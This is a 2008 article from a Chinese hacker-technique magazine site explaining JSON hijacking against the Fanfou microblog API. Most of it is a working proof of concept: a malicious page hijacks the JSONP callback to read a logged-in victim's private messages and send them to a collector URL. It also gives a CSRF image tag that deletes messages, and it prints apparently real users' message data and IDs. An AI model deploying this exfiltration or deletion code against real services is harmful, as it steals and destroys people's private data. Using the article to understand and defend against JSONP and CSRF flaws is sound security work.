黑客防线,在攻与防的对立统一中寻求突破!2001年创刊的黑客技术专业刊物!

设为首页
收藏本站
联系我们
网站导航


黑客文章 - 脚本漏洞 - 浏览 - 关于JSON Hijacking的利用以及Web API安全
关于JSON Hijacking的利用以及Web API安全
http://www.hacker.com.cn/ 2008-9-6 0:11:28
关于JSON Hijacking的利用以及Web API安全
JSON Hijacking有什么作用,正如黑哥所说,可以CSRF得到用户隐私数据:)。

原理最后介绍,先来看个攻击例子,拿饭否来做个实验。首先我们看这http://help.fanfou.com/api.html。饭否的API。其中:

显示用户收到的私信
路径:http://api.fanfou.com/private_messages/inbox.[json|xml]
参数:
count (可选) - 私信数,范围 1-20,默认为 20。
示例:http://api.fanfou.com/private_messages/inbox.xml?count=10
callback (可选) - JavaScript 函数名,使用 JSON 格式时可用,将 JSON 对象作为参数直接调用。
示例:http://api.fanfou.com/private_messages/inbox.xml?callback=getStatuses
我们使用JSON格式的返回数据,并且callback函数可以自定义。然后我们自定义一个evil页面:

<script>
function getStatuses(o){
var i=0;
var data = '';
for(i; i<3; i++){
   //alert(o[i].text);
   data += o[i].sender_id
}
alert(data);
new Image().src="http://127.0.0.1/JSONHiJack.asp?hi="+escape(data);
}
</script>
<script src=http://api.fanfou.com/private_messages/inbox.json?callback=getStatuses&count=3></script>

当登录饭否的用户访问这个evil页面时,他的私信隐私将暴露无疑。第一个<script>标签内的脚本是我们自定义的HiJacking函数,第二个<script>标签加载远程JS。数据如下:

getStatuses([{"id":585904,"text":"最近怎么没声了?","sender_id":"Salina_Wu","recipient_id":"ycosxhack","created_at":"Sat May 31 05:00:01 +0000 2008","sender_screen_name":"LOLO","recipient_screen_name":"余弦"},{"id":444619,"text":"'';!--\"<XSS>=&{()}","sender_id":"xssis","recipient_id":"ycosxhack","created_at":"Fri Apr 11 16:07:19 +0000 2008","sender_screen_name":"xssis","recipient_screen_name":"余弦"},{"id":351757,"text":"嘎~加你好友了~","sender_id":"Salina_Wu","recipient_id":"ycosxhack","created_at":"Sat Mar 01 03:27:22 +0000 2008","sender_screen_name":"LOLO","recipient_screen_name":"余弦"}])

由于getStatuses函数被我们预先劫持而定义,于是第二个<script>标签内的远程JS文件就会执行这个getStatuses函数,参数就是上面这个JSON数据。

这是一个CSRF过程。然而饭否API所带来的安全威胁就不仅仅是JSON Hijacking的利用了。大家仔细阅读它的API文档。看看是否还有其他可利用的地方?比如:

<img src=http://api.fanfou.com/private_messages/destroy.json?callback=getStatuses&id=246333 />

呵呵,这API真是个好东西。不仅仅饭否,其他类似的开放API的服务也会存在这样的威胁。我就不继续深挖了。
所属分类: 脚本漏洞   所属专题:
共有 288 人次浏览 收藏本页 返回上一页
评论作者:
电子邮件:
评论内容:
投票评价:
验 证 码:
图片包含4个随机字符,点击刷新
请输入上面图片中的随机字符